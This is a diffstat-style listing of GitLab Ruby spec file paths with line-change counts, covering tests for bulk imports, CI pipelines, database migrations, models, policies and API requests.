-rw-r--r--spec/lib/bulk_imports/groups/graphql/get_milestones_query_spec.rb4
-rw-r--r--spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb11
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb116
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb37
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb14
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb87
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb14
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb90
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb30
-rw-r--r--spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb22
-rw-r--r--spec/lib/bulk_imports/groups/transformers/group_attributes_transformer_spec.rb23
-rw-r--r--spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb3
-rw-r--r--spec/lib/bulk_imports/importers/group_importer_spec.rb57
-rw-r--r--spec/lib/bulk_imports/pipeline/context_spec.rb45
-rw-r--r--spec/lib/bulk_imports/pipeline/extracted_data_spec.rb2
-rw-r--r--spec/lib/bulk_imports/pipeline/runner_spec.rb65
-rw-r--r--spec/lib/bulk_imports/pipeline_spec.rb10
-rw-r--r--spec/lib/constraints/admin_constrainer_spec.rb6
-rw-r--r--spec/lib/feature_spec.rb92
-rw-r--r--spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb30
-rw-r--r--spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb70
-rw-r--r--spec/lib/gitlab/alert_management/alert_status_counts_spec.rb1
-rw-r--r--spec/lib/gitlab/alert_management/payload/base_spec.rb1
-rw-r--r--spec/lib/gitlab/alert_management/payload/generic_spec.rb1
-rw-r--r--spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb2
-rw-r--r--spec/lib/gitlab/alert_management/payload/prometheus_spec.rb1
-rw-r--r--spec/lib/gitlab/alert_management/payload_spec.rb1
-rw-r--r--spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb1
-rw-r--r--spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb44
-rw-r--r--spec/lib/gitlab/analytics/cycle_analytics/stage_events/code_stage_start_spec.rb2
-rw-r--r--spec/lib/gitlab/analytics/unique_visits_spec.rb22
-rw-r--r--spec/lib/gitlab/application_context_spec.rb16
-rw-r--r--spec/lib/gitlab/asciidoc_spec.rb6
-rw-r--r--spec/lib/gitlab/auth/o_auth/auth_hash_spec.rb2
-rw-r--r--spec/lib/gitlab/auth/otp/strategies/devise_spec.rb1
-rw-r--r--spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb1
-rw-r--r--spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb1
-rw-r--r--spec/lib/gitlab/auth_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/copy_column_using_background_migration_job_spec.rb8
-rw-r--r--spec/lib/gitlab/background_migration/migrate_pages_to_zip_storage_spec.rb43
-rw-r--r--spec/lib/gitlab/bullet/exclusions_spec.rb155
-rw-r--r--spec/lib/gitlab/bullet_spec.rb51
-rw-r--r--spec/lib/gitlab/changelog/config_spec.rb4
-rw-r--r--spec/lib/gitlab/checks/project_created_spec.rb1
-rw-r--r--spec/lib/gitlab/checks/project_moved_spec.rb3
-rw-r--r--spec/lib/gitlab/ci/config/entry/bridge_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/config/entry/cache_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/config/entry/job_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/jobs_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/config/entry/processable_spec.rb26
-rw-r--r--spec/lib/gitlab/ci/config/entry/root_spec.rb20
-rw-r--r--spec/lib/gitlab/ci/config/external/mapper_spec.rb34
-rw-r--r--spec/lib/gitlab/ci/config/external/processor_spec.rb35
-rw-r--r--spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb20
-rw-r--r--spec/lib/gitlab/ci/lint_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb1
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/command_spec.rb21
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules_spec.rb20
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/helpers_spec.rb70
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb13
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/pipeline/process_spec.rb31
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb159
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb201
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build_spec.rb139
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb3
-rw-r--r--spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb109
-rw-r--r--spec/lib/gitlab/ci/reports/codequality_reports_spec.rb34
-rw-r--r--spec/lib/gitlab/ci/reports/test_failure_history_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/runner_instructions_spec.rb116
-rw-r--r--spec/lib/gitlab/ci/status/composite_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/trace_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/variables/helpers_spec.rb46
-rw-r--r--spec/lib/gitlab/ci/yaml_processor/result_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb139
-rw-r--r--spec/lib/gitlab/composer/version_index_spec.rb5
-rw-r--r--spec/lib/gitlab/conflict/file_spec.rb6
-rw-r--r--spec/lib/gitlab/crypto_helper_spec.rb58
-rw-r--r--spec/lib/gitlab/data_builder/build_spec.rb3
-rw-r--r--spec/lib/gitlab/data_builder/pipeline_spec.rb1
-rw-r--r--spec/lib/gitlab/database/background_migration/batch_metrics_spec.rb31
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb198
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_spec.rb51
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb94
-rw-r--r--spec/lib/gitlab/database/background_migration/scheduler_spec.rb182
-rw-r--r--spec/lib/gitlab/database/batch_count_spec.rb76
-rw-r--r--spec/lib/gitlab/database/loose_index_scan_distinct_count_spec.rb71
-rw-r--r--spec/lib/gitlab/database/migration_helpers_spec.rb241
-rw-r--r--spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb28
-rw-r--r--spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb66
-rw-r--r--spec/lib/gitlab/database/pg_class_spec.rb37
-rw-r--r--spec/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base_spec.rb3
-rw-r--r--spec/lib/gitlab/database/unidirectional_copy_trigger_spec.rb191
-rw-r--r--spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb2
-rw-r--r--spec/lib/gitlab/database_spec.rb4
-rw-r--r--spec/lib/gitlab/diff/char_diff_spec.rb6
-rw-r--r--spec/lib/gitlab/diff/highlight_cache_spec.rb26
-rw-r--r--spec/lib/gitlab/diff/highlight_spec.rb20
-rw-r--r--spec/lib/gitlab/diff/inline_diff_spec.rb74
-rw-r--r--spec/lib/gitlab/diff/line_spec.rb35
-rw-r--r--spec/lib/gitlab/diff/lines_unfolder_spec.rb18
-rw-r--r--spec/lib/gitlab/diff/suggestions_parser_spec.rb3
-rw-r--r--spec/lib/gitlab/downtime_check/message_spec.rb41
-rw-r--r--spec/lib/gitlab/downtime_check_spec.rb116
-rw-r--r--spec/lib/gitlab/email/handler/create_note_handler_spec.rb8
-rw-r--r--spec/lib/gitlab/email/handler/create_note_on_issuable_handler_spec.rb2
-rw-r--r--spec/lib/gitlab/email/handler/unsubscribe_handler_spec.rb2
-rw-r--r--spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb93
-rw-r--r--spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb90
-rw-r--r--spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb96
-rw-r--r--spec/lib/gitlab/error_tracking_spec.rb108
-rw-r--r--spec/lib/gitlab/experimentation_spec.rb1
-rw-r--r--spec/lib/gitlab/git/diff_collection_spec.rb86
-rw-r--r--spec/lib/gitlab/git/repository_spec.rb40
-rw-r--r--spec/lib/gitlab/git/tag_spec.rb13
-rw-r--r--spec/lib/gitlab/gitaly_client/blob_service_spec.rb27
-rw-r--r--spec/lib/gitlab/gitaly_client/call_spec.rb13
-rw-r--r--spec/lib/gitlab/gitaly_client/object_pool_service_spec.rb4
-rw-r--r--spec/lib/gitlab/gitaly_client/operation_service_spec.rb26
-rw-r--r--spec/lib/gitlab/gitaly_client/repository_service_spec.rb17
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb1
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb1
-rw-r--r--spec/lib/gitlab/github_import/milestone_finder_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/authorize/authorize_field_service_spec.rb253
-rw-r--r--spec/lib/gitlab/graphql/authorize/authorize_resource_spec.rb80
-rw-r--r--spec/lib/gitlab/graphql/authorize/object_authorization_spec.rb64
-rw-r--r--spec/lib/gitlab/graphql/batch_key_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/deprecation_spec.rb213
-rw-r--r--spec/lib/gitlab/graphql/docs/renderer_spec.rb80
-rw-r--r--spec/lib/gitlab/graphql/loaders/batch_lfs_oid_loader_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/markdown_field_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/negatable_arguments_spec.rb45
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/last_items_spec.rb1
-rw-r--r--spec/lib/gitlab/graphql/query_analyzers/logger_analyzer_spec.rb47
-rw-r--r--spec/lib/gitlab/highlight_spec.rb15
-rw-r--r--spec/lib/gitlab/hook_data/issue_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/hook_data/merge_request_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/hook_data/release_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/hook_data/user_builder_spec.rb90
-rw-r--r--spec/lib/gitlab/http_connection_adapter_spec.rb125
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml5
-rw-r--r--spec/lib/gitlab/import_export/design_repo_saver_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/project/export_task_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/project/tree_restorer_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/project/tree_saver_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/repo_saver_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb1
-rw-r--r--spec/lib/gitlab/import_export/wiki_repo_saver_spec.rb1
-rw-r--r--spec/lib/gitlab/instrumentation_helper_spec.rb47
-rw-r--r--spec/lib/gitlab/jira_import/base_importer_spec.rb1
-rw-r--r--spec/lib/gitlab/jira_import/handle_labels_service_spec.rb1
-rw-r--r--spec/lib/gitlab/jira_import_spec.rb1
-rw-r--r--spec/lib/gitlab/json_spec.rb60
-rw-r--r--spec/lib/gitlab/legacy_github_import/importer_spec.rb2
-rw-r--r--spec/lib/gitlab/legacy_github_import/issue_formatter_spec.rb2
-rw-r--r--spec/lib/gitlab/legacy_github_import/milestone_formatter_spec.rb2
-rw-r--r--spec/lib/gitlab/legacy_github_import/pull_request_formatter_spec.rb2
-rw-r--r--spec/lib/gitlab/markdown_cache/active_record/extension_spec.rb26
-rw-r--r--spec/lib/gitlab/markdown_cache/redis/extension_spec.rb3
-rw-r--r--spec/lib/gitlab/markdown_cache/redis/store_spec.rb4
-rw-r--r--spec/lib/gitlab/marker_range_spec.rb33
-rw-r--r--spec/lib/gitlab/metrics/background_transaction_spec.rb53
-rw-r--r--spec/lib/gitlab/metrics/subscribers/active_record_spec.rb171
-rw-r--r--spec/lib/gitlab/metrics/subscribers/external_http_spec.rb57
-rw-r--r--spec/lib/gitlab/middleware/rack_multipart_tempfile_factory_spec.rb94
-rw-r--r--spec/lib/gitlab/object_hierarchy_spec.rb97
-rw-r--r--spec/lib/gitlab/pages/settings_spec.rb42
-rw-r--r--spec/lib/gitlab/pages/stores/local_store_spec.rb25
-rw-r--r--spec/lib/gitlab/pages_transfer_spec.rb4
-rw-r--r--spec/lib/gitlab/pagination/keyset/order_spec.rb55
-rw-r--r--spec/lib/gitlab/pagination/offset_header_builder_with_controller_spec.rb54
-rw-r--r--spec/lib/gitlab/phabricator_import/cache/map_spec.rb1
-rw-r--r--spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb1
-rw-r--r--spec/lib/gitlab/profiler_spec.rb9
-rw-r--r--spec/lib/gitlab/prometheus/adapter_spec.rb16
-rw-r--r--spec/lib/gitlab/query_limiting/transaction_spec.rb10
-rw-r--r--spec/lib/gitlab/query_limiting_spec.rb82
-rw-r--r--spec/lib/gitlab/quick_actions/command_definition_spec.rb8
-rw-r--r--spec/lib/gitlab/regex_spec.rb9
-rw-r--r--spec/lib/gitlab/repository_cache_adapter_spec.rb31
-rw-r--r--spec/lib/gitlab/repository_set_cache_spec.rb23
-rw-r--r--spec/lib/gitlab/sanitizers/exif_spec.rb2
-rw-r--r--spec/lib/gitlab/search_context/builder_spec.rb29
-rw-r--r--spec/lib/gitlab/sidekiq_cluster/cli_spec.rb2
-rw-r--r--spec/lib/gitlab/sidekiq_config/cli_methods_spec.rb84
-rw-r--r--spec/lib/gitlab/sidekiq_config/worker_matcher_spec.rb129
-rw-r--r--spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb97
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/admin_mode/client_spec.rb4
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/admin_mode/server_spec.rb4
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb153
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb101
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb318
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/worker_context/server_spec.rb2
-rw-r--r--spec/lib/gitlab/sidekiq_middleware_spec.rb6
-rw-r--r--spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb1
-rw-r--r--spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb1
-rw-r--r--spec/lib/gitlab/slash_commands/presenters/issue_new_spec.rb13
-rw-r--r--spec/lib/gitlab/slash_commands/run_spec.rb20
-rw-r--r--spec/lib/gitlab/snippet_search_results_spec.rb1
-rw-r--r--spec/lib/gitlab/sourcegraph_spec.rb1
-rw-r--r--spec/lib/gitlab/sql/cte_spec.rb20
-rw-r--r--spec/lib/gitlab/sql/recursive_cte_spec.rb13
-rw-r--r--spec/lib/gitlab/subscription_portal_spec.rb56
-rw-r--r--spec/lib/gitlab/template/finders/repo_template_finders_spec.rb1
-rw-r--r--spec/lib/gitlab/tracking/destinations/snowplow_spec.rb23
-rw-r--r--spec/lib/gitlab/tracking/standard_context_spec.rb12
-rw-r--r--spec/lib/gitlab/tracking_spec.rb32
-rw-r--r--spec/lib/gitlab/tree_summary_spec.rb1
-rw-r--r--spec/lib/gitlab/untrusted_regexp_spec.rb18
-rw-r--r--spec/lib/gitlab/url_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/usage/metric_definition_spec.rb85
-rw-r--r--spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb1
-rw-r--r--spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb51
-rw-r--r--spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb40
-rw-r--r--spec/lib/gitlab/usage_data_counters/code_review_events_spec.rb2
-rw-r--r--spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb36
-rw-r--r--spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb18
-rw-r--r--spec/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter_spec.rb20
-rw-r--r--spec/lib/gitlab/usage_data_non_sql_metrics_spec.rb55
-rw-r--r--spec/lib/gitlab/usage_data_queries_spec.rb32
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb42
-rw-r--r--spec/lib/gitlab/utils/lazy_attributes_spec.rb6
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb19
-rw-r--r--spec/lib/gitlab/utils_spec.rb8
-rw-r--r--spec/lib/gitlab/web_ide/config/entry/global_spec.rb1
-rw-r--r--spec/lib/gitlab/web_ide/config/entry/terminal_spec.rb5
-rw-r--r--spec/lib/gitlab/word_diff/chunk_collection_spec.rb23
-rw-r--r--spec/lib/gitlab/word_diff/parser_spec.rb40
-rw-r--r--spec/lib/gitlab/workhorse_spec.rb1
-rw-r--r--spec/lib/gitlab_spec.rb118
-rw-r--r--spec/lib/kramdown/kramdown_spec.rb38
-rw-r--r--spec/lib/marginalia_spec.rb52
-rw-r--r--spec/lib/mattermost/command_spec.rb2
-rw-r--r--spec/lib/mattermost/session_spec.rb2
-rw-r--r--spec/lib/mattermost/team_spec.rb2
-rw-r--r--spec/lib/peek/views/active_record_spec.rb27
-rw-r--r--spec/lib/peek/views/external_http_spec.rb33
-rw-r--r--spec/lib/quality/test_level_spec.rb225
-rw-r--r--spec/lib/rouge/formatters/html_gitlab_spec.rb40
-rw-r--r--spec/mailers/emails/in_product_marketing_spec.rb34
-rw-r--r--spec/mailers/emails/merge_requests_spec.rb24
-rw-r--r--spec/mailers/emails/profile_spec.rb100
-rw-r--r--spec/mailers/emails/projects_spec.rb1
-rw-r--r--spec/mailers/emails/releases_spec.rb1
-rw-r--r--spec/mailers/emails/service_desk_spec.rb1
-rw-r--r--spec/mailers/notify_spec.rb96
-rw-r--r--spec/migrations/20210226141517_dedup_issue_metrics_spec.rb66
-rw-r--r--spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb43
-rw-r--r--spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb38
-rw-r--r--spec/migrations/add_new_trail_plans_spec.rb95
-rw-r--r--spec/migrations/backfill_operations_feature_flags_active_spec.rb4
-rw-r--r--spec/migrations/backfill_operations_feature_flags_iid_spec.rb4
-rw-r--r--spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb2
-rw-r--r--spec/migrations/confirm_support_bot_user_spec.rb86
-rw-r--r--spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb4
-rw-r--r--spec/migrations/delete_security_findings_without_uuid_spec.rb35
-rw-r--r--spec/migrations/migrate_bot_type_to_user_type_spec.rb2
-rw-r--r--spec/migrations/migrate_elastic_index_settings_spec.rb44
-rw-r--r--spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb4
-rw-r--r--spec/migrations/move_container_registry_enabled_to_project_features2_spec.rb47
-rw-r--r--spec/migrations/move_container_registry_enabled_to_project_features_spec.rb43
-rw-r--r--spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb61
-rw-r--r--spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb27
-rw-r--r--spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb46
-rw-r--r--spec/models/application_record_spec.rb36
-rw-r--r--spec/models/audit_event_archived_spec.rb52
-rw-r--r--spec/models/blob_viewer/gitlab_ci_yml_spec.rb1
-rw-r--r--spec/models/blob_viewer/metrics_dashboard_yml_spec.rb1
-rw-r--r--spec/models/bulk_imports/entity_spec.rb64
-rw-r--r--spec/models/bulk_imports/stage_spec.rb50
-rw-r--r--spec/models/bulk_imports/tracker_spec.rb56
-rw-r--r--spec/models/ci/artifact_blob_spec.rb1
-rw-r--r--spec/models/ci/bridge_spec.rb2
-rw-r--r--spec/models/ci/build_spec.rb162
-rw-r--r--spec/models/ci/build_trace_chunk_spec.rb1
-rw-r--r--spec/models/ci/daily_build_group_report_result_spec.rb1
-rw-r--r--spec/models/ci/job_artifact_spec.rb16
-rw-r--r--spec/models/ci/pipeline_schedule_spec.rb12
-rw-r--r--spec/models/ci/pipeline_spec.rb102
-rw-r--r--spec/models/ci/runner_spec.rb1
-rw-r--r--spec/models/ci/stage_spec.rb13
-rw-r--r--spec/models/ci/test_case_failure_spec.rb73
-rw-r--r--spec/models/ci/test_case_spec.rb31
-rw-r--r--spec/models/ci/unit_test_failure_spec.rb73
-rw-r--r--spec/models/ci/unit_test_spec.rb87
-rw-r--r--spec/models/clusters/agent_token_spec.rb49
-rw-r--r--spec/models/clusters/applications/prometheus_spec.rb94
-rw-r--r--spec/models/clusters/cluster_spec.rb76
-rw-r--r--spec/models/clusters/integrations/prometheus_spec.rb57
-rw-r--r--spec/models/commit_spec.rb2
-rw-r--r--spec/models/commit_status_spec.rb118
-rw-r--r--spec/models/concerns/batch_destroy_dependent_associations_spec.rb1
-rw-r--r--spec/models/concerns/cache_markdown_field_spec.rb10
-rw-r--r--spec/models/concerns/cacheable_attributes_spec.rb2
-rw-r--r--spec/models/concerns/cascading_namespace_setting_attribute_spec.rb320
-rw-r--r--spec/models/concerns/ci/artifactable_spec.rb28
-rw-r--r--spec/models/concerns/featurable_spec.rb3
-rw-r--r--spec/models/concerns/has_timelogs_report_spec.rb51
-rw-r--r--spec/models/concerns/issuable_spec.rb21
-rw-r--r--spec/models/concerns/milestoneable_spec.rb14
-rw-r--r--spec/models/concerns/milestoneish_spec.rb71
-rw-r--r--spec/models/concerns/participable_spec.rb71
-rw-r--r--spec/models/concerns/safe_url_spec.rb12
-rw-r--r--spec/models/concerns/sidebars/container_with_html_options_spec.rb21
-rw-r--r--spec/models/concerns/sidebars/positionable_list_spec.rb59
-rw-r--r--spec/models/concerns/sortable_spec.rb25
-rw-r--r--spec/models/concerns/subscribable_spec.rb51
-rw-r--r--spec/models/concerns/token_authenticatable_spec.rb4
-rw-r--r--spec/models/concerns/token_authenticatable_strategies/encrypted_spec.rb77
-rw-r--r--spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb27
-rw-r--r--spec/models/deploy_keys_project_spec.rb6
-rw-r--r--spec/models/deploy_token_spec.rb2
-rw-r--r--spec/models/deployment_spec.rb115
-rw-r--r--spec/models/environment_spec.rb33
-rw-r--r--spec/models/event_spec.rb8
-rw-r--r--spec/models/experiment_spec.rb29
-rw-r--r--spec/models/group_spec.rb367
-rw-r--r--spec/models/hooks/system_hook_spec.rb4
-rw-r--r--spec/models/hooks/web_hook_spec.rb8
-rw-r--r--spec/models/integration_spec.rb11
-rw-r--r--spec/models/internal_id_spec.rb61
-rw-r--r--spec/models/issue/metrics_spec.rb14
-rw-r--r--spec/models/issue_spec.rb38
-rw-r--r--spec/models/key_spec.rb22
-rw-r--r--spec/models/label_spec.rb22
-rw-r--r--spec/models/list_spec.rb13
-rw-r--r--spec/models/member_spec.rb28
-rw-r--r--spec/models/members/group_member_spec.rb6
-rw-r--r--spec/models/members/last_group_owner_assigner_spec.rb98
-rw-r--r--spec/models/members/project_member_spec.rb4
-rw-r--r--spec/models/merge_request_spec.rb136
-rw-r--r--spec/models/namespace/admin_note_spec.rb16
-rw-r--r--spec/models/namespace/traversal_hierarchy_spec.rb56
-rw-r--r--spec/models/namespace_setting_spec.rb31
-rw-r--r--spec/models/namespace_spec.rb169
-rw-r--r--spec/models/note_spec.rb105
-rw-r--r--spec/models/notification_setting_spec.rb14
-rw-r--r--spec/models/packages/debian/file_entry_spec.rb98
-rw-r--r--spec/models/packages/dependency_spec.rb2
-rw-r--r--spec/models/packages/go/module_version_spec.rb14
-rw-r--r--spec/models/packages/maven/metadatum_spec.rb14
-rw-r--r--spec/models/packages/package_spec.rb41
-rw-r--r--spec/models/pages/lookup_path_spec.rb10
-rw-r--r--spec/models/pages_deployment_spec.rb26
-rw-r--r--spec/models/preloaders/labels_preloader_spec.rb52
-rw-r--r--spec/models/preloaders/user_max_access_level_in_projects_preloader_spec.rb37
-rw-r--r--spec/models/project_feature_usage_spec.rb90
-rw-r--r--spec/models/project_services/chat_message/alert_message_spec.rb1
-rw-r--r--spec/models/project_services/chat_message/merge_message_spec.rb26
-rw-r--r--spec/models/project_services/emails_on_push_service_spec.rb46
-rw-r--r--spec/models/project_services/jira_service_spec.rb89
-rw-r--r--spec/models/project_services/jira_tracker_data_spec.rb13
-rw-r--r--spec/models/project_services/prometheus_service_spec.rb2
-rw-r--r--spec/models/project_services/slack_service_spec.rb8
-rw-r--r--spec/models/project_spec.rb348
-rw-r--r--spec/models/protected_tag_spec.rb2
-rw-r--r--spec/models/raw_usage_data_spec.rb10
-rw-r--r--spec/models/release_highlight_spec.rb45
-rw-r--r--spec/models/release_spec.rb2
-rw-r--r--spec/models/remote_mirror_spec.rb24
-rw-r--r--spec/models/repository_spec.rb83
-rw-r--r--spec/models/sent_notification_spec.rb12
-rw-r--r--spec/models/service_spec.rb10
-rw-r--r--spec/models/sidebars/menu_spec.rb67
-rw-r--r--spec/models/sidebars/panel_spec.rb34
-rw-r--r--spec/models/sidebars/projects/context_spec.rb13
-rw-r--r--spec/models/sidebars/projects/menus/learn_gitlab/menu_spec.rb31
-rw-r--r--spec/models/sidebars/projects/menus/project_overview/menu_items/releases_spec.rb38
-rw-r--r--spec/models/sidebars/projects/menus/project_overview/menu_spec.rb18
-rw-r--r--spec/models/sidebars/projects/panel_spec.rb14
-rw-r--r--spec/models/timelog_spec.rb12
-rw-r--r--spec/models/todo_spec.rb24
-rw-r--r--spec/models/user_callout_spec.rb38
-rw-r--r--spec/models/user_spec.rb78
-rw-r--r--spec/models/users/in_product_marketing_email_spec.rb131
-rw-r--r--spec/models/users/merge_request_interaction_spec.rb97
-rw-r--r--spec/policies/application_setting/term_policy_spec.rb1
-rw-r--r--spec/policies/ci/build_policy_spec.rb1
-rw-r--r--spec/policies/design_management/design_policy_spec.rb3
-rw-r--r--spec/policies/group_deploy_keys_group_policy_spec.rb1
-rw-r--r--spec/policies/group_policy_spec.rb51
-rw-r--r--spec/policies/project_policy_spec.rb52
-rw-r--r--spec/policies/project_snippet_policy_spec.rb1
-rw-r--r--spec/policies/service_policy_spec.rb1
-rw-r--r--spec/presenters/ci/build_runner_presenter_spec.rb87
-rw-r--r--spec/presenters/ci/trigger_presenter_spec.rb2
-rw-r--r--spec/presenters/clusters/cluster_presenter_spec.rb4
-rw-r--r--spec/presenters/packages/composer/packages_presenter_spec.rb9
-rw-r--r--spec/presenters/packages/conan/package_presenter_spec.rb2
-rw-r--r--spec/presenters/packages/detail/package_presenter_spec.rb1
-rw-r--r--spec/presenters/project_hook_presenter_spec.rb4
-rw-r--r--spec/presenters/projects/settings/deploy_keys_presenter_spec.rb45
-rw-r--r--spec/requests/admin/clusters/integrations_controller_spec.rb25
-rw-r--r--spec/requests/api/api_spec.rb10
-rw-r--r--spec/requests/api/applications_spec.rb8
-rw-r--r--spec/requests/api/ci/runner/jobs_artifacts_spec.rb42
-rw-r--r--spec/requests/api/ci/runner/jobs_put_spec.rb16
-rw-r--r--spec/requests/api/ci/runner/jobs_request_post_spec.rb33
-rw-r--r--spec/requests/api/ci/runner/jobs_trace_spec.rb18
-rw-r--r--spec/requests/api/commit_statuses_spec.rb8
-rw-r--r--spec/requests/api/commits_spec.rb36
-rw-r--r--spec/requests/api/composer_packages_spec.rb1
-rw-r--r--spec/requests/api/conan_project_packages_spec.rb2
-rw-r--r--spec/requests/api/deploy_keys_spec.rb31
-rw-r--r--spec/requests/api/deployments_spec.rb39
-rw-r--r--spec/requests/api/environments_spec.rb2
-rw-r--r--spec/requests/api/files_spec.rb15
-rw-r--r--spec/requests/api/generic_packages_spec.rb33
-rw-r--r--spec/requests/api/go_proxy_spec.rb4
-rw-r--r--spec/requests/api/graphql/ci/groups_spec.rb24
-rw-r--r--spec/requests/api/graphql/ci/job_spec.rb100
-rw-r--r--spec/requests/api/graphql/custom_emoji_query_spec.rb10
-rw-r--r--spec/requests/api/graphql/gitlab_schema_spec.rb22
-rw-r--r--spec/requests/api/graphql/group/milestones_spec.rb36
-rw-r--r--spec/requests/api/graphql/group/timelogs_spec.rb121
-rw-r--r--spec/requests/api/graphql/group_query_spec.rb10
-rw-r--r--spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb37
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb55
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/set_labels_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/release_asset_links/delete_spec.rb49
-rw-r--r--spec/requests/api/graphql/mutations/snippets/create_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/snippets/update_spec.rb7
-rw-r--r--spec/requests/api/graphql/packages/package_spec.rb121
-rw-r--r--spec/requests/api/graphql/project/alert_management/alert/assignees_spec.rb2
